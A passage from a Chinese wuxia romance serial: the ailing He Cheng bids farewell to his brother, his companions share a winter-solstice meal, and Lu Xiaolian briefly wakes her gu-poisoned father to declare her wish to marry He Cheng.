沈懿行道:“他们西江城外二十余里外的山坡上被发现,身上的财物都还在,并非是谋财。”他看了眼脸色煞白的贺承,又补一句:“害人者刀法很准,一刀毙命,他们大概没受什么苦。你放心,我一定会追查到底,为二位前辈报仇!” “为什么是西江城外?你不是说他们要去阳城吗?”贺承目光渐渐沉下去,惨白的唇颤得厉害,“他们是去西江城找我的?” 心知瞒不过去,沈懿行深吸一口气,硬着心肠说下去:“是,那日你刚刚受过凤尾续魂针,便出发去了西江城,南门前辈担心你重伤未愈,禁不得长途跋涉,你前脚刚走,他与潘前辈便驾了马车去追赶你。是我考虑不周,不该让他们独自上路!” “跟你又有什么关系?”贺承脸色煞白,目光发直,“他们出百花谷是因为我,他们离开枕风楼也是因为我……” “师兄——”觉察到贺承不对劲,陆晓怜伸手去扶,安慰他的话还未出口,便见他身子猛然前倾,“哇”地喷出一口发乌的血来。 沈懿行让人来找屠勇时,屠勇正在给钟晓看眼睛。 在贺承昏迷的这段时间里,钟晓的眼伤已经有了起色。揭下覆在眉眼之间的纱布换药时,他已经可以看见模糊不清的人影。屠勇说,最多再要半个月,钟晓的眼睛便能与之前无异。 恰恰这一日,屠勇刚刚揭下钟晓眼睛上的纱布,还来不及为他敷上药,缠上纱布,就被急如战鼓的敲门声打断:“屠堂主,贺公子清醒后吐血不止,楼主喊你快过去!” 屠勇想起那一日贺承血流不止的凶险,手下一抖,将纱布塞进钟晓手里:“你别动,我让人找刑堂的兄弟来给你换药,你师兄那边,我先过去看看。”他心里着急,甚至等不及听钟晓答应,便起身匆匆走了。 得知贺承又生变故,钟晓哪里坐得住? 他盲了有些时日,早做好了当个瞎子的打算,如今隐约可见光亮与人影,于他而言已是极大助力。他摸索到桌边的一枝金波为他备下的细竹竿,以竹竿探路,跟在屠勇身后出了房门。 这是他眼盲之后第一次自己出门。 可平日里金波教得好,每次带他出来,都将几步之外有台阶,几丈之内是平底同他说得清清楚楚,以至于此刻她虽然不在,他走得很慢,却能走得很稳。 一路有惊无险地走到贺承房门外,却差点出事。 钟晓眼前一片混沌的白光中,忽然有一道黑灰色的身影由远而近地奔来。他虽觉得来人熟悉,却看不清那是谁,也分不清他离自己是远是近,更不知该往何处闪避。 呆愣的片刻之间,那人影已经莽撞地奔至他身前,擦着他的肩膀,冲进房中。 “钟少侠当心!” 钟晓被撞得脚步踉跄,幸而屠勇交代来为他换药的人见他房中没人,一路找过来,适时地扶了他一把。 “没事吧?”扶住钟晓的人担忧地看着他略显苍白的脸,“哪里被撞伤了吗?” 钟晓身形摇晃,有些站不稳,微眯着眼睛盯着与自己擦身而过的那道人影,半晌没有回应。 “钟少侠?” 钟晓回过神来:“没事,刚刚那是……” 那道人影闯入室内,便与其他人影混到了一起。钟晓边说话,边眯着眼费力分辨屋里混杂的几道人影,话语未落,听见贺启像是刚刚得知消息赶来,惊慌失措地在问:“不是说我哥已经没事了吗?怎么又会呕血?” “是小贺公子,他也是太担心大哥。”扶着钟晓那人的回答证实了钟晓心中猜测,他继续劝钟晓,“这里有堂主在,不会有事的,我扶你回房间换药吧。” 钟晓摇头:“都到门口了,我总得看看师兄。” 说是要看看贺承,其实以钟晓此时的眼睛,他什么也看不清。 屋子里的光线要暗些,贺承穿着一身雪白的中衣,脸色唇色也是一例雪白,落在钟晓眼中,几乎整个人都融化在他眼中的那片混沌里。 反倒是贺承在兵荒马乱中发现了钟晓,招呼贺启去扶他走近些。 屠勇已经快为贺承诊过脉,确定他情急之下呕出的那口血是积在脏腑间的淤血,呕出来反倒要通畅舒爽些,安慰完忧心忡忡的陆晓怜和沈懿行,刚刚松口气,扭头却看见靠一根竹竿自力更生摸过来的钟晓,只觉两眼一黑。 他快步走到钟晓身边,弯腰看了眼他未缠绷带裸露在外的眼睛,忍不住“嘶”了一声:“你的眼睛虽然可以感知光线,看见模糊人影,可距离痊愈还有些时日的,不能再这样乱跑,当心北风把眼睛吹伤了。” 贺启正在一旁扶着钟晓,插进话来:“我师兄的眼睛当真能恢复如前?” 屠勇得意地一扬眉毛,又想起沈懿行在场,随即收敛神色,一本正经:“能不能如前,我不敢保证,可至少能恢复之前的七八成视力,日常生活不成问题。” 贺启又问:“当真能好吗?还要多长时间能好?” “少则十日,多则一月。” “那我师兄恢复得好不好?以他如今的情况,还要多久能看到?” 屠勇不知道贺启在急什么,可贺家兄弟是枕风楼的座上宾,他必然要知无不言言无不尽:“钟少侠底子好,又有金波姑娘悉心照顾,我看十日之内便能大好了。” 贺启虽与钟晓一同拜在庄荣门下,可他们师兄弟之间的感情原本并不算亲厚,大概是此番共同经历了生死滋长 出肝胆相照的情义来,得知钟晓的眼睛能好,贺启显得很欢喜,拉着钟晓的手,道:“太好了,师兄你很快便能看到了。” 钟晓一贯呆板,贺启突如其来的热情令他措手不及。他脸上温温和和笑着,却不动声色地将自己的手从贺启手里抽出来,将话题转到贺承那里去:“我这只是小伤,看不见就算了,倒是师兄要好好休养。” “别胡说,什么叫看不见就算了!”贺承不赞同,继续支使贺启:“小启,你快送他回去,请屠堂主赶紧为他敷药,别耽误了。” 贺启一贯对他大哥言听计从,不由分说,扶起钟晓便往外走。 屠勇要为钟晓敷药,得了沈懿行眼神应允,便跟在贺启后期也出了门。沈懿行不放心,在房中多留了片刻,被贺承又追着问了几句与南门迁、潘妩相关的事,怕引得贺承心中郁郁,沈懿行不愿意与他多谈此事,推说还有枕风楼事务要处理,半途溜走。 贺启去而复返时,房里只剩陆晓怜安安静静地守着贺承。 他探头探脑地进来,看看贺承,又看看陆晓怜,有些犹豫:“哥,我有话跟你说。” 第85章 第八十五章告别很可能这便是他们兄…… 有话在嘴边吞吞吐吐不肯说得痛快,便是有所顾忌。 此时房间里除了贺承、贺启,便只有陆晓怜,贺启的迟疑针对着谁,不言而喻。不想让贺承为难,陆晓怜推说趁着贺启来了,她正好去看看药熬好了没有,便起身出去。 一直目送着陆晓怜掩门出去,贺承才将目光落回贺启身上:“你以前和晓怜打打闹闹的那些事,都是年纪小不懂事,早该翻盘不提了才对,今日又是有什么话,非得把晓怜支开才能说?” 说来古怪,陆晓怜与贺启在贺承面前都乖巧柔顺,温良无害,可两人一撞到一起,便像是清水滴进滚油里,非得闹得天翻地覆才肯罢休。 那时候他们三个人年纪都很小,在青山城里风吹不到雨淋不着,除了被师父盯着练功,没有别的烦恼,小孩子的争端,导火线都是些令人啼笑皆非的小事情,比如谁先跑到山门口先尝到贺承带回来的枣泥糕,比如谁先听话把掏出来的鸟蛋安然送回树梢。 本来贺启就比陆晓怜大一点,早年在外流浪又野惯了,真要论起输赢,总是他要更胜一筹,所以贺承难免多偏袒陆晓怜一点,比如明知她会落后,留给她的那块枣泥糕总是要比贺启的稍稍大一点。 到头来,跑输的人不高兴,跑赢的人也不高兴,贺承又得耐着性子一个一个哄过去。 贺启吞吞吐吐:“我不是要支开她,我是不知道怎么跟你说。” 虽然只相差几岁,可贺启几乎就是贺承一手带大的。此前纷扰太多,兄弟二人没有机会好好聊一聊,如今读着贺启眉眼间的纠结踟蹰,贺承眉头微蹙—— 贺启自小依赖他,没什么事是不能同他说的。 除非,是做了什么不愿意让他知晓的错事。 想到这里,贺承心中蓦地一沉,忍不住掩着唇闷咳,哑着嗓子追问:“你做了什么事?连我都不能说?” 目睹过贺承命悬一线,贺启心有余悸。听见贺承叠声闷咳,他几乎从床边的凳子上蹦起来:“怎么了?不舒服吗?我去把屠勇喊回来!” 贺承拉住贺启的衣袖:“别想溜,回来好好说话。” “可是你——” “去桌上倒杯水过来。” 贺启乖乖去桌上倒了杯热水过来。茶壶里的水是刚换的,正是滚烫,贺承气血溃败,手足冰凉,接了那杯热水也不急着喝,捧在手里暖着,用眼神示意贺启在一旁的凳子上坐好:“我想起来了,那日从息山回来,昏沉之间,我隐约听到你哭着同我道歉,说你知道错了。你今日要找我坦白的,便是这事吗?” 贺启蓦然坐直,瞪大了眼睛:“你,你那日都听到了?” 贺承点头。 清醒之初的混沌退去,昏迷前的事犹如埋藏在沙土里的旧物,一点一点清晰,他想起那一日与陆晓怜在息山山坡底的风雪里相拥,他想起司渊墓前的那一丛枯黄细瘦却在寒风中苦苦支撑的血息草,他也想起自己奄奄一息地躺在床榻上呛咳出血,贺启撕心裂肺地认错。 随着记忆渐渐清晰,贺承心中的困惑却逐渐浓重。 与陆晓怜的惊惧心痛、沈懿行的哀恸不忍不同,那一日的贺启眼中有太多愧疚懊悔,就好像,自己重伤濒死与他关系匪浅一般。 可是,他不过就是个练功的时候会偷懒、看到陆晓怜被偏爱时会吃醋的小孩子,闯过最大的祸,大概就是十岁那年偷偷剪了陆晓怜的头发,哪里就能担得起害贺承重伤的罪名了? 怕弟弟心思重,落下心结,贺承急于问清楚:“你那日说的究竟是什么事?” “我——”贺启缩着肩膀垂着头,无意识地抠着手指。 多少年过去了,贺启心虚起来还是小时候那副做错了事怕被兄长责骂的模样。这副胆小怯懦、可怜兮兮的样子,又能掀起多大的风浪呢? 贺承又好气又好笑,又有恨铁不成钢的无奈:“你是不是觉得,都是因为那时你同我说的那些话,我才会去息山找晓怜,才会发生后来的事情?” 贺启猛地抬起头,眼瞳微颤,无声漫上迷茫水汽。 “即便你当时什么都没有说,之后一连几日见不到晓怜,我难道就不会问?”贺承失笑,“你就是因为这个事情愧疚难受这么久的?” 贺启抿紧了嘴唇,不吭声。 之前支使贺启去倒的那杯热水在贺承手掌中辗转,此时正好晾到可以入口的温度。贺承托着茶杯递到贺启面前:“即便我那日当真……总之,此事与你无关,更与晓怜无关,明白了吗?” 贺启接过水杯,闷头把整杯水灌了下去。 许是热汽氤氲,他的眉眼间莫名沾染了点点水汽,眼睫濡湿。 贺启依旧一声不吭,贺承继续说下去:“我知道你喜欢湘城,喜欢枕风楼,日后我不在了,你不想回青山城便罢了。可青山城待我兄弟二人有恩,我要你答应我,无论何时,青山城有难,你都不能袖手旁观。” “哥!”贺启不服气,“分明是陆掌门执意比武招亲,还……” “小启!”贺承严厉打断他,“这话日后不可再说。” “你还是怕晓怜师姐难过,是不是?”贺启的眼睫濡湿更甚,他眼眶泛红,“既然怕她难过,那你就好好活着啊!”他将水杯放在床边的矮几上,像是松了一口气,又像是下定了某个决心:“哥,我其实是来向你道别的。” 贺承眉心一跳:“道别?” “我一定会找到能救你的人,你一定要等我!” 贺承撑着身子坐起些,微微前倾,细细祥瑞着贺启,连一根头发丝都不舍遗漏。 也许某一日贺启真的能找到医术远在南门迁、潘妩之上的能人,可他当真能等到那一日吗? 可贺承没有拦他。 就像他拦不住陆晓怜想要长成一棵与他比肩而立的树一样,他也拦不住贺启想要抽出新芽长出擎天冠盖,为他遮蔽风雨。 “生死有命,你尽力就好,不必强求。”他只笑着同他这样说。 贺启一步三回头,从贺承病榻前到房门口,短短一段路,他觉得自己是从许多年前湘城的饥寒交迫中开始走的,走了将近二十年,还是走不出去,还是割舍不下。 一步步走到门口,贺启的手掌抵住木门,顿了一顿,又折身回来。 他快步走回贺承床边,解下右手手腕上的一条红色丝线。 那条红色丝线已经旧得发灰,系着一枚拇指指甲盖大小的平安扣。平安扣是薄薄的一片白玉,那块玉白中带青,成色不好,不油润也不通透,无甚可夸,却被贺启一直贴着手腕戴着,片刻不离身。 那是贺承六岁时,从山脚下开始,一路 磕着头,为他求来的。 “哥,这枚平安扣很灵的,这么多年我一直没灾没病的。”贺启边说,边将平安扣系到贺承手腕上,“你系上了它,也一定能逢凶化吉。” 仿佛是怕自己依旧不舍,贺启系完平安扣,转身便走,再没有回头。 房门开合,光影明暗间,再不见那个依赖自己许多年的孩子。 贺承摸着手腕上被贺启的眼泪湿透的丝线,指尖抵着那片薄薄的白玉,还能触到贺启的体温。那年贺启跟人抢食物,被打得奄奄一息险些没救回来,他绝望之下只能求诸神佛。湘城的凤凰山,从山脚到庙宇中的大殿,两千八百一十八级石阶,他一步一叩头地求过去,终于求来贺启的安然无恙。 这枚平安扣已经救过他们兄弟一回了。 轻轻薄薄的一枚平安扣,又能载得动多沉的祈愿? 贺承当然相信,大千世界,必定会有能赢过南门迁与潘妩的圣手,可沈南风和沈懿行两代枕风楼楼主都没有找到的人,凭贺启一人之力,又怎么可能轻易找得到? 虽然不愿意,可贺承还是不得不接受,很可能这便是他们兄弟二人此生的最后一面。 贺启走的时候,只同贺承道过别,再没同其他人提起。 一直到冬至那日,大伙围坐在一起热气腾腾地吃涮肉,沈懿行还在忍不住抱怨,开玩笑说贺启就是养不熟的小白眼狼,从小只跟他大哥亲,自己以前风里雪里救了他那么多回,如今要走,也不知道跟他沈大哥说一声。 贺承最是护短,听不得沈懿行嘲讽,举着酒杯就要替贺启赔不是。 他才从鬼门关外折腾一圈,谁敢让他喝酒?酒杯一举,桌上当即伸出三只手来拦。 谁料,最快最准的那只手,竟不是陆晓怜,也不是沈懿行。 众人盯着精准捏住贺承手中酒盏的那只手,面面相觑。 红泥火炉烧得正旺,噼里啪啦地炸着火星,显得热闹欢喜。 陆晓怜先回过神来,欣喜地盯着钟晓光彩熠熠的眼睛:“你能看见了!” 桌上除钟晓自己,还坐了四个人,被四双眼睛齐刷刷盯着,钟晓有些尴尬。他松开贺承手里的酒杯,才不好意思地抓抓头发:“其实屠堂主为我摘下纱布时,便能看清一些东西,只是一尺以外的东西还是像隔了层雾,刚刚大概是听见师兄说他要喝酒,心里一急,那层雾就想被逼着散了,眼前倒清楚了起来。” 沈懿行冲贺承挑眉笑道:“了不得,你竟还有这种效用。” “为了钟晓的眼睛,更该喝一杯庆贺了。”这回未等众人出声阻拦,贺承自觉将手里的酒杯放到陆晓怜面前,用指背蹭蹭陆晓怜的手背,笑嘻嘻地凑过去,躲酒躲得理所当然,“我不胜酒力,以茶代酒,这杯酒就麻烦陆姑娘了。” 第86章 第八十六章冬至我能不能去看看我爹…… 因为喝酒这件事在庐川栽过的跟头,陆姑娘可没忘。借着贺承凑得近,她偏过头去,皱了皱鼻子,揶揄道:“这回总不是又要灌醉我,丢下我了吧?” 贺承理亏:“再不敢了。” 于是众人自圆桌各方举出一只杯子来,叮叮咚咚地碰到一出,热闹而圆满。 陆晓怜巾帼不让须眉,一口气连喝两杯酒,贺承心疼他师妹,移了她面前的瓷碗过来,伸手便给她盛汤。一碗热气腾腾的骨汤摆在陆晓怜手边,贺承忙不迭地将汤匙塞进她手里:“喝口热汤,压压酒气。” 金波歪着脑袋,晃着钟晓的手臂:“喂,我也喝酒了啊,我也要喝热汤。” “嗯?”钟晓确实呆傻,如梦方醒地应了一声,也移了金波面前的碗过来装汤。可他心不在焉得显而易见,一勺勺浓白醇厚的骨头汤接连舀进碗中,金波看过来时,热汤已经几乎要满出来。 被金波喊了一声,钟晓回过神来,边道歉,边手忙脚乱地收拾。 金波轻巧翻了个白眼,拿大勺将自己那碗摇摇欲坠的骨头汤分了几勺到钟晓碗里:“你想什么呢?想得这么出神。” “我在看师兄手腕上的平安扣。” “平安扣?”金波顺着钟晓的目光看过去,确实看见贺承肤色冷白的手腕上用红绳系着一块拇指盖大小的薄薄玉片。玉不是什么美玉,红丝线也旧得发灰,她不知道这有什么好看,值得钟晓用他那双好不容易才恢复的眼睛,一瞬不瞬地盯这么久? 被两道目光直勾勾盯着,贺承不明所以:“怎么了?” “师兄,你手腕上戴的是什么?” “你说这个?”贺承顺着钟晓的目光低头,目光扫过自己手腕那一线红,蓦然柔和,“是小启留给我的。他小时候有一回伤得很重,医馆的大夫都不愿意治,我走投无路,去凤凰山上给他求了这枚平安扣回来,下山当日竟然就遇见了一个跛脚游医,救了小启一命。” “所以这枚平安扣,之前是贺启一刻不离身地戴着的?” 求来这枚平安扣,是许多年前的事了,贺承没有仔细观察过贺启是否一刻不离身地戴着,但回想那日,贺启确实是从他自己手腕上取下这枚平安扣的。 于是,贺承点点头:“小启同我说,自从有了这枚平安扣,这么多年他都无灾无病,想来,应该是极少离身的。怎么了?” “没什么。”不知怎么的,钟晓的目光忽而有些闪避,“就是之前没见你戴过。” 贺承眼中依旧是温和笑意:“这是小启的好意,要留一份祈愿给我。” 屋外是猎猎北风,屋里是腾腾暖意。 红泥小炉上的铜锅咕嘟咕嘟冒着热气,蒙蒙雾气将每个人的眉眼蒸得温润,粉饰过这一路艰辛留下的惨烈痕迹。 钟晓的疑问来得突兀,也消失得莫名。他似乎还想说点什么问点什么,可想到在青山城的风俗里,冬至是个团圆美满的节气,他便没有再多说什么,骤然而至的沉默里,显出几分无所适从的尴尬来。 沈懿行适时解围,往每个人碗里夹了饺子:“冬至大如年,多吃点。” 这一句话勾起陆晓怜的回忆。 去年的这个时候,陆兴剑惨死,凤鸣山、逐月阁、琴剑山庄责难,被指为罪魁祸首的贺承下落不明,连带着青山城的主心骨陆岳修也不知所终,青山城七零八落乱作一团。别说冬至,连大年初一,她和庄荣也是寥寥草草地过。 陆晓怜几乎把头埋进碗里,咬着饺子,闷声道:“在青山城,冬至是吃汤圆的。” “啊?”沈懿行一愣,连忙找补,“东西都是现成的,这就让厨房煮几碗汤圆过来。” 陆晓怜从碗里抬头,眼眶泛着红,显得极为可怜:“我能不能去看看我爹?远远地看一眼,绝不惊动他。” 金波说贺承的气息容易引失心蛊发狂,陆晓怜与贺承形影不离,难免沾染他的气息,为防万一,陆晓怜是不被允许靠近刑堂的。 可今日是冬至。 去年冬至,她就没能与她的父兄团圆。 桌上的寂静比方才更甚。 围在桌上的几个人都知道陆岳修发狂时的模样,没人愿意再次见到刑堂血流成河。 贺承叹口气,搂住陆晓怜:“再等一等,好不好?金波把失心蛊引出,你便能日日见到师父了。往后年年,师父都能陪你过节。” 他话里的往后只提陆岳修,不提 他自己。目光掠过贺承惨白的侧脸,陆晓怜眼中摇曳的泪终于簌簌滚落下来:“可是我有话,想当着你的面同爹爹说。” 往后年年,陆岳修还在,贺承却不一定在了。 金波叹口气,从腰间锦囊掏出个琉璃小瓶,倒出粒朱红药丸:“这是南疆秘药百蛊停,能让人身上的蛊虫暂时进入休眠状态,使中蛊者短暂清醒。”看着陆晓怜骤然闪亮的眸光,金波面露歉意:“可惜这药我也只有一颗,失心蛊在陆掌门体内已有一年之久,这药压制不了它太长时间。” 陆晓怜问:“不长的时间,能有多长?” 金波又叹了口气:“即便有内力深厚之人相助,引药力围困住蛊虫,至多也不过能困住它一刻钟。” 钟晓犯难:“如今师兄功力尽失,能帮到师傅的恐怕只有沈楼主了。” 沈懿行摆手:“我这三脚猫功夫,只怕内力刚刚进入陆掌门体内,便被他的护体本能弹出。” “那怎么办?” 沉默许久的贺承无声看向陆晓怜:“让晓怜试试。” 入夜,山间的风如冰刀刻骨。 贺承陪着陆晓怜等在刑堂外面。那一次死里逃生后,他的身体肉眼可见地衰败下去,他孱弱难支,此刻已疲倦得站不住,神志却被冷风吹得异常清醒,紧紧握着身侧陆晓怜的手,两人一坐一立,静候在风中。 前几日下过一场大雪,树梢还积着未落的残雪。 两处相思同淋雪,此生也算共白头。 望着山林里那一蓬蓬隐约的白,贺承忽然觉得有些可惜,今日竟然不下雪。 没过多久,想是金波已经喂陆岳修服下那颗药丸,钟晓探头出来招呼他们进去。 目睹过陆岳修发狂时的惨状,陆晓怜心里发怵。她没有开口,甚至手指尖没有一点怯弱的颤抖,可贺承冰凉的手已经不由分说将她紧紧握住。 “师兄——” 她抬眼看起,贺承的脸苍白得没有底色,被火盆里的火光一映,便是融融暖色。他笑着牵住她的手,低声道:“别怕,按照来的路上我同你说的做,你可以的。” “若我内力太弱,无法牵引我爹体内的药力怎么办?” 贺承笑着握紧她的手,牵着她缓缓往里走:“那就浪费金波一颗药,没什么大不了的。” “若我爹发狂怎么办?” “既然是我们惹出来的事,那便要由我们来担,你先来拦住师父。”贺承深深看着她,平静道,“我把沈大哥、金波、钟晓他们送出去,就回来替你守好囚室的铁门。” 陆晓怜瞪大了眼睛:“当真?” 贺承轻笑:“当真,往后的事,我们一起担。” 两人说话间走入了刑堂。 担心贺承身上的气息惊动陆岳修,金波先招呼陆晓怜走进囚室。陆晓怜将掌心贴在陆岳修后心,记忆中父亲宽厚温暖的后背竟已瘦得脊骨凸起,她鼻尖发酸,悄然又红了眼眶。 “晓怜姐姐,蛊虫已经走到陆掌门左臂上臂六寸处,你把药力往这里引。” 顺着金波的指引,陆晓怜凝神将内力缓缓注入,寸寸催动内息,将陆岳修的一脉气血禁锢在金波指定的方寸之间。 “成啦!”金波一拍手掌拿手指往陆岳修手臂上轻轻摁了一下。 随即,陆岳修的身子剧烈颤抖起来,缚在他身上的铁链被扯得哗啦作响。陆晓怜低头,只见陆岳修霍然睁开眼来,眼底那片泥沙俱下的河湖般的浑浊渐渐转为清澈,定定看着陆晓怜,声音嘶哑却显得惊讶非常:“晓怜?” “爹!”尽管激动得指尖发颤,陆晓怜犹不忘丹田蓄力,将百蛊停的药力死死控制在陆岳修上臂处,面上不动声色,“您认得我了?” “这是什么地方?我?我怎么了?”陆岳修刚一开口,便觉察到体内有一股与自己同源的强劲内力在游走。他心中迷惑,目光扫去,便看见陆晓怜白皙娇嫩的手掌抵在自己后心,他神色一凛:“丫头,你把被封的经脉冲开了?” 陆岳修身上的蛊虫被控住,当即有人去请贺承进来。 贺承迈进囚室内,便听见这样一句话,错愕道:“晓怜小时候练功总不见精进,几番丧气萎靡,说自己不是习武的料,竟是因为她的经脉被封住了?” 想起自己为陆晓怜设擂招亲,陆岳修循声看见贺承,半是惊喜半是羞愧:“小承,你也在!” 顾忌失心蛊,贺承不敢离陆岳修太近,远远站在门边,简单解释两句他身中失心蛊一事,又将话题绕回陆晓怜身上:“师父为何要封晓怜的经脉?” 陆岳修叹气:“晓怜的经脉较常人更宽广,犹如大江大河,修习青山城独门心法‘青山遮’正好。她的经脉不是我封的,是修习‘青山遮’时形成的一道屏障,冲破屏障,便是她功成之时。” “意思是,晓怜已经练成了青山遮?” “不错。”陆岳修欣慰点头,“可‘青山遮’只是内功心法,我原本想在晓怜功成之时再指导她运转,可如今——”他看了一眼缚住自己手足的铁链,结合刚刚听见的话,苦笑着看向贺承:“如今我这副模样,恐怕连保持清醒都难,我帮不了晓怜什么,小承,你是她师兄,你要多指点指点她。” 陆晓怜哽咽:“可是,可是师兄早已经废去一身功力了!” 陆岳修愕然:“为什么?” “因为,因为——”陆晓怜哭得越发厉害,根本说不下去。 她说不出口的话,有人换做问题,替她说出来。贺承被沈懿行扶着,倚着门框,连站立都显得勉强,他沉声问:“师父,您还记不记得,你为晓怜设擂比武招亲的前一夜,无涯洞外发生了什么?” 第87章 第八十七章心愿你舍得让我心愿落空…… 那一夜…… 他记得广发英雄帖定下那场比武招亲后,陆晓怜日日堵着要质问他,他索性躲进无涯洞中闭关修炼,前几日的迎来送往都是陆兴剑替他做的。按照原计划,他会在比武招亲的前一日出关,可那日不知怎么的,气血狂涌,怎么也压制不住…… 陆岳修脸上露出些许迷茫:“后来我头疼欲裂,似乎浑浑噩噩地出了无涯洞……好像见到了小承,好像也见到了剑儿……那日你们看起来很急,可是我不记得你们同我说了什么……” 绑缚在身上的锁链随着陆岳修越来越大的动作叮当作响,令闻者难安。他扶着额头,眉头紧锁,喃喃念着:“你们究竟同我说什么呢?到底是什么?” 电光火石间,脑中闪过几个破碎的画面—— 陆岳修陡然抬起头来,枯枝般的手指攥紧铁链,青石墙面上簌簌落下碎屑。他浑浊的瞳孔弥散开一层薄薄的血雾,喉咙里发出困兽般的呜咽:“我想起来了!你们在求我不要杀人……你们,你们都受了我的断云掌……” 往事不堪回首,激得陆岳修神志逐渐癫狂。 他眼中血雾渐浓,遮盖住难得的一缕清明。 “爹!” “师父!” “掌门师伯!” 金波紧紧盯着陆岳修,眼见蛊虫将要复苏,她适时抽出腰间的一柄银质小刀在腕上一划,将伤口抵在陆岳修嘴边,任汩汩鲜血流入他口中。 囚室内弥漫开诡异的腥甜。 渐渐地,陆岳修眼中的暴戾血色散去,可眸中的清明也几乎尽数散尽了,漆黑的眼瞳被平日里痴钝凝滞的光寸寸吞噬。 “爹!”陆晓怜揽着陆岳修的肩膀,声音发颤,“爹!别睡!我还有话要同您说。这话一年前我便要说了,可那时您总不肯听我把话说完,今日正好师兄也在,我一定要说!” 陆岳修漆黑的眼瞳颤了颤,喉中呜咽一声,已吐不出完整的句子。 趁着他还有零星的意识,陆晓怜继续说下去:“当日比武招亲的擂台当真要开打,我必定会在开擂前,以横秋剑自刎于天下英雄面前!” “胡闹!”贺承心中一痛,指节泛白地攥住狐裘边缘,闷声咳嗽起来。 陆岳修说不出话,浑身僵硬地发着抖。 “我与师兄,两小无猜,情投意合,师兄是我自己选的意中人。我要嫁的人,我要走的路,必定要是我自己选的,不是我自己选的前路,我宁可不要!” “陆晓怜!”贺承脸色煞白,几乎站不住。 贺承明白,陆晓怜这话是说给陆岳修听的,也是说给他听的。他已时日无多,穷途末路之际,难免自以为是地要为她安排好往后的路。 可她说,不是她自己选的路,她宁可不要。 她无所畏惧,早就想过玉石俱焚。 陆晓怜将另一只手也抵在陆岳修手臂上,将那微薄可怜的一点药力往蛊虫身上推,想要为陆岳修再争取来片刻清明。 她咬着牙,眼眶通红:“所以,爹爹,我若是想要与师兄成亲,您是会同意的,对不对?” 可是药力还是散了,陆岳修的目光沉静如一潭死水,再不起波澜。 他没有回应陆晓怜,可门边却有另一个声音响起。 那声音极低极弱,却坚定如山石,不容置喙分毫:“可是,我不同意。” “为什么?” 贺承远远望着她,他们之间只隔了几步,可他已经几乎站不 住,更枉论一步步走到她面前去。他白如霜雪的脸上浮起一丝苦笑,反问她:“你说,为什么……” 话音未落尽,他身子一软,轻飘飘地往地上坠去。 可他终究没有摔到地上去。 陆晓怜的轻功本就练得好,如今内功深厚,更是锦上添花,眨眼功夫便飞掠至贺承身边,将脱力倒地的人稳稳接进怀里。 “师兄!”她接住他,跪坐到地上,“怎么样?哪里不舒服?” 贺承闭眼缓过一阵眩晕,微微摇头:“没事,是被你吓的。” “不是吓你,我是认真的。” “我知道,所以更害怕……”贺承的声音越发低弱下去,连嘴唇都褪尽了血色,“晓怜,你听话,我们把剩下的日子好好过完便很好了……” “不够的。”她抵在他肩头,眼泪蹭过他衣领上的一圈绒毛,委屈得像一只被抛弃的小兽,“师兄,我十六岁生辰那日便许了这个愿望,你舍得让我心愿落空吗?” 贺承当然是不舍得陆晓怜心愿落空的。 可许是那日夜太深,风太冷,漏夜而归,贺承结结实实地病了一场。病势缠绵,比不得伤口崩裂那般来势汹汹,可贺承的身体积重难返,这一病,便像是抽干了灯盏里的油,寒风中那点摇摇欲坠的烛火一日比一日微弱。 像是夕阳悄无声息西落,像绿叶不声不响枯黄,贺承的衰弱也是静默无声的。他并不觉得哪里难受,只是一日比一日更觉疲惫,时而与人说着话,便会不知不觉地睡了过去,有时一觉直到日暮才醒,也不知是睡着,还是昏厥了过去。 虽然精神好的时候不多,但精神稍好,贺承便抓紧时间逼着陆晓怜练功。 腊月里一连下了几天大雪,枕风楼外天寒地冻。沈懿行拗不过贺承,在枕风楼里寻个宽敞的露台,让人将四面都打上两层棉布帘子遮住风,在露台的几个角都升起火盆,将露台造成融融暖阁。 陆晓怜便在这处临时搭建起的暖阁里练功。 贺承裹着毯子,靠在躺椅里陪她,不时出声指点。 冲破“青山遮”的桎梏,又得贺承悉心指点,陆晓怜的武功突飞猛进,日就月将,只花了小半个月,便将体内那一股被“青山遮”隐藏多年的内力化为己用,运转自如,而后力灌长剑,剑招一改往日的虚浮无力,一招一式皆有破风之力。 檐角冰棱折射着正午的日头,被厚重的棉布遮挡得不见天日的露台难得的透进来几缕光,而这难得的光亮,毫不意外地都落在了陆晓怜身上。 喜欢一个人时,便是这个样子的。 好像所有的风都会吹向她,所有的光都会落在她身上,可是又好像,她静静站在那里,就是无所不在的清风与光亮。 陆晓怜手腕翻转,指间横秋剑一抖,剑光如映着日光,如一泓秋水。剑锋横扫过去,快出一道残影,极轻极快地掠过炭盆,利落地削下来薄薄的一块金丝炭,剑锋却依然泛着泠泠冷光,没沾染丝毫黑灰。 “漂亮!这招‘青山望月’使得比我强。”贺承抚掌而笑。 “是吗?”陆晓怜挽个剑花,将横秋剑立在身后,快步朝贺承走来,身上拢了拢他身上的大氅,兴奋道,“那你是不是很满意?是不是可以同我去试成亲的礼服了?” 贺承被问得发愣,握着水杯喝也不是,放也不是。 这话确实是贺承说的。那时为了哄陆晓怜练功,他答应她,只要她好好练功,练到令他挑不出毛病,他便答应她一件事。 他当然知道她会提出什么事情,可那时他也打着小算盘。青山城几代掌门人游历四方,青山城的武功博采众长,是四大门派中路数最多最杂,陆晓怜不可能在几日内练得炉火纯青,要鸡蛋里面挑骨头,不是什么难事。 可是今天陆晓怜这一招“青山望月”使得太漂亮,他忍不住夸出了口,便让陆晓怜揪住了把柄。 贺承既后悔之前的信口开河,又后悔此刻的疏忽大意,偏偏这里只有陆晓怜与他,找不到第三个人能递个梯子让他下来。 贺承腿上摊着一本他为陆晓怜画的剑谱。他不知道自己还有多少力气能出来看陆晓怜练功,得了空便为她画谱,细细标注其中关键,其实这些东西,她回到青山城,都能见到,都有人教,可他总想着要给她留点什么。 气血日渐衰竭,贺承畏寒得厉害,躺椅两层都架了熏笼。热气烘得摊在他腿上的剑谱微微卷了边,他苍白的手指摩挲着纸页,硬着头皮挑刺:“虽然不错,可方才挥剑起势之处,还是比剑谱上高出了两寸。” “尽信书不如无书!”陆晓怜不满,“高出两寸又如何,打起架来,能制敌便是!” “可你此刻是在练剑,并非在跟人打架。” “你——”陆晓怜被噎得说不话来,抿着嘴生闷气,也舍不得对贺承说一句重话。 倒霉蛋钟晓偏偏是这时候撞到枪口上来的。 借着金波去刑堂为陆岳修治疗,他一个人来找贺承与陆晓怜,不料刚刚踏进陆晓怜练功的暖阁里,便有一泓剑光直直冲过来。 陆晓怜对贺承道:“我用这招与钟晓打一架,若我赢了,你便不能再挑我错处!” 